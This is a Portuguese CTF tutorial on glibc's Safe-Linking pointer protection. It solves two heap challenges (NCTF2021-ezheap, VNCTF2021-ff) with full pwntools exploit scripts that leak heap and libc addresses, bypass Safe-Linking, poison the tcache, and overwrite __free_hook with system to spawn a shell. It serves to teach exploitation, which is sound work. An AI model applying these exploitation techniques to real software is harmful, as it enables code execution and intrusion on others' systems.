Introdução ao Safe-Linking
O mecanismo Safe-Linking foi introduzido nas versões 2.32 e posteriores do glibc para fortalecer a segurança do tcache. Ele criptografa o ponteiro next das listas de tcache usando uma operação XOR, dificultando ataques como o tcache poisoning.
A criptografia e descriptografia são realizadas por meio de duas macros, como mostrado abaixo:
// Criptografia: protege o ponteiro
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
// Descriptografia: revela o ponteiro original
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
Para calcular o valor criptografado, o endereço do ponteiro é deslocado 12 bits à direita e depois feito XOR com o valor original. A descriptografia segue o mesmo processo, garantindo que o ponteiro seja restaurado.
Exemplo de Exploração: NCTF2021-ezheap
Análise do Programa
O desafio apresenta um menu com operações de alocação, edição, liberação e exibição de chunks. A vulnerabilidade identificada é um UAF (Use-After-Free), onde a função de liberração apenas zera o marcador de tamanho, mas mantém o ponteiro ativo.
Essa falha permite um double free: ao liberar um chunk e realocá-lo, um segundo liberação no mesmo índice libera o chunk realocado, que ainda possui seu tamanho não nulo.
Exploração Passo a Passo
- Vazar endereços de heap e libc usando a função de exibição com UAF.
- Calcular o valor criptografado de __free_hook:
valor_cripto = (endereço_ponteiro >> 12) ^ __free_hook. - Executar tcache poisoning para substituir um ponteiro next por __free_hook.
Código de Exploração (Python)
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./b')
elf = ELF('./b')
libc = ELF('./libc.so.6')
def alocar(tamanho, conteudo):
p.sendlineafter(">> ", "1")
p.sendlineafter("Size: ", str(tamanho))
p.sendlineafter("Content: ", conteudo)
def editar(indice, conteudo):
p.sendlineafter(">> ", "2")
p.sendlineafter("Index: ", str(indice))
p.sendlineafter("Content: ", conteudo)
def liberar(indice):
p.sendlineafter(">> ", "3")
p.sendlineafter("Index: ", str(indice))
def exibir(indice):
p.sendlineafter(">> ", "4")
p.sendlineafter("Index: ", str(indice))
# Etapa 1: Vazar heap
alocar(0x70, b'a') # chunk 0
alocar(0x70, b'b') # chunk 1
liberar(0)
exibir(0)
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
base_heap = heap_leak << 12
log.success(f"Base da heap: {hex(base_heap)}")
# Etapa 2: Preparar para vazar libc
alocar(0x70, b'c') # chunk 2 (realoca chunk 0)
liberar(1)
liberar(0)
for i in range(3, 13): # chunks 3 a 11
alocar(0x80, b'd')
for i in range(3, 12): # liberar chunks 3 a 10
liberar(i)
exibir(10)
libc_leak = u64(p.recv(6).ljust(8, b'\x00'))
base_libc = libc_leak - 0x1e3c00
log.success(f"Base da libc: {hex(base_libc)}")
# Etapa 3: Configurar e atacar
alvo_hook = base_libc + libc.symbols['__free_hook']
valor_cripto = (base_heap >> 12) ^ alvo_hook
editar(2, p64(valor_cripto))
alocar(0x70, b'/bin/sh\x00') # chunk 12
alocar(0x70, p64(base_libc + libc.symbols['system'])) # chunk 13
liberar(12) # Dispara system('/bin/sh')
p.interactive()
Exemplo de Exploração: VNCTF2021-ff
Análise do Programa
O desafio posui funcionalidades limitadas: a exibição pode ser usada apenas uma vez, e a edição duas vezes. Além disso, as operações só afetam o chunk mais recente. A vulnerabilidade é um UAF similar.
A exploração envolve múltiplos estágios de tcache poisoning para vazar libc e sobrescrever __free_hook.
Estratégia de Exploração
- Vazamento de heap: Usar a função de exibição uma vez para obter o endereço base da heap.
- Vazamento de libc: Realizar um ataque de I/O leak manipulando a estrutura stdout. Isso requer editar ponteiros para redirecionar a saída padrão.
- Tcache poisoning: Em três etapas:
- Liberar a estrutura pthread_tcache_struct no unsorted bin, ajustando contagens.
- Modificar ponteiros para acessar endereços libc e atacar stdout.
- Substituir __free_hook por system.
Código de Exploração (Python)
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def alocar(tamanho, conteudo):
p.sendlineafter(">>", "1")
p.sendlineafter("Size:\n", str(tamanho))
p.sendafter("Content:\n", conteudo)
def editar(conteudo):
p.sendlineafter(">>", "5")
p.sendlineafter("Content:\n", conteudo)
def liberar():
p.sendlineafter(">>", "2")
def exibir():
p.sendlineafter(">>", "3")
# Etapa 1: Vazar heap
alocar(0x70, b'x')
liberar()
exibir()
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
base_heap = heap_leak << 12
log.success(f"Base da heap: {hex(base_heap)}")
# Etapa 2: Preparar para I/O leak
editar(b'y' * 0x10)
liberar()
valor_cripto = (base_heap >> 12) ^ (base_heap + 0x10)
editar(p64(valor_cripto))
alocar(0x70, b'a')
# Etapa 3: Manipular pthread_tcache_struct
alocar(0x70, b'\x00\x00' * 0x27 + b'\x07\x00')
liberar() # Libera pthread_tcache_struct no unsorted bin
# Etapa 4: Configurar tcache para I/O leak
alocar(0x40, b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00' + b'\x00' * 0x38)
alocar(0x30, b'\x00' * 0x18 + p64(0xdeadbeef))
# Etapa 5: Atacar stdout
alocar(0x10, b'\x00' * 8 + b'\xc0\x16')
alocar(0x40, p64(0xfbad1887) + p64(0) * 3 + b'\x00')
libc_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
base_libc = libc_leak - 0x1e4744
log.success(f"Base da libc: {hex(base_libc)}")
# Etapa 6: Sobrescrever __free_hook
alvo_hook = base_libc + libc.symbols['__free_hook']
alocar(0x10, p64(alvo_hook))
alocar(0x70, p64(base_libc + libc.symbols['system']))
alocar(0x10, b'/bin/sh\x00')
liberar()
p.interactive()